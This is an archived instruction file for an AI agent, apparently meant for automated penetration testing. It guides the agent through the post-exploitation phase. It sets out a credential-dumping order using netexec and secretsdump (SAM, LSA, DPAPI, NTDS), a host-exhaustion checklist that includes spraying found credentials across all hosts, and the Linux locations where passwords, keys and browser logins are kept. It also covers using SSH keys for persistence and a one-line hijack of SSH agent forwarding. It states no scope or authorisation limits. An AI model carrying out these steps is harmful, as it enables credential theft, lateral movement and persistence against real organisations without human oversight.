AI agent skill · by @s0ld13rr

Post Exploit Phase

Post-exploitation gotchas — credential dump order, DPAPI trap, host exhaustion checklist. Use when the current phase is POST_EXPLOIT.

Archived 2026-10-23 · Source updated 2026-10-02 · License: MIT. Check the original repository for the latest version.

SKILL.md instructions

# Post-Exploitation — What You'll Get Wrong

## Credential dump ORDER matters (Windows)
Run ALL three, in this order — each extracts different secrets:
1. `--sam` — local account hashes
2. `--lsa` — service passwords, cached domain creds, DPAPI system keys
3. `--dpapi` — browser passwords, vault, cookies, Credential Manager

On Domain Controllers add `--ntds` for all domain hashes.
Fallback: `secretsdump.py DOMAIN/USER:PASS@HOST` (SAM+LSA+NTDS in one shot).

## DPAPI trap
`netexec smb HOST -u USER -p PASS --dpapi` with NO subcommands = full dump.
Adding subcommands (`cookies`, `nosystem`, `wifi`) LIMITS output. Always bare `--dpapi` first.

## Host Exhaustion — do NOT skip any host
Before a host is "done", ALL of these must be attempted:
- Privesc check (sudo -l / whoami /priv / SUID / kernel version)
- Credentials dumped (SAM+LSA+DPAPI on Windows, shadow/keys/history/configs on Linux)
- Found creds sprayed across ALL known hosts+services
- Network config enumerated (arp, routes, internal DNS) — may reveal hidden subnets
- Internal services discovered (ss -tlnp / netstat) — ports not visible externally
- Stored creds checked (autologon, cmdkey, env vars, browser profiles)

## Linux credential locations you'll miss
- `/home/*/.bash_history` — often contains passwords in commands
- App configs: `.env`, `*.conf`, `*.cfg`, `*.ini` — DB passwords, API keys
- SSH keys: `~/.ssh/` (private keys AND `authorized_keys` for persistence)
- Browser profiles: `~/.mozilla/firefox/*/logins.json`, `~/.config/google-chrome/*/Login Data`

## SSH agent forwarding hijack
If another user has agent forwarding enabled:
`find /tmp -name "agent.*"` → `SSH_AUTH_SOCK=/tmp/agent.XXXX ssh target`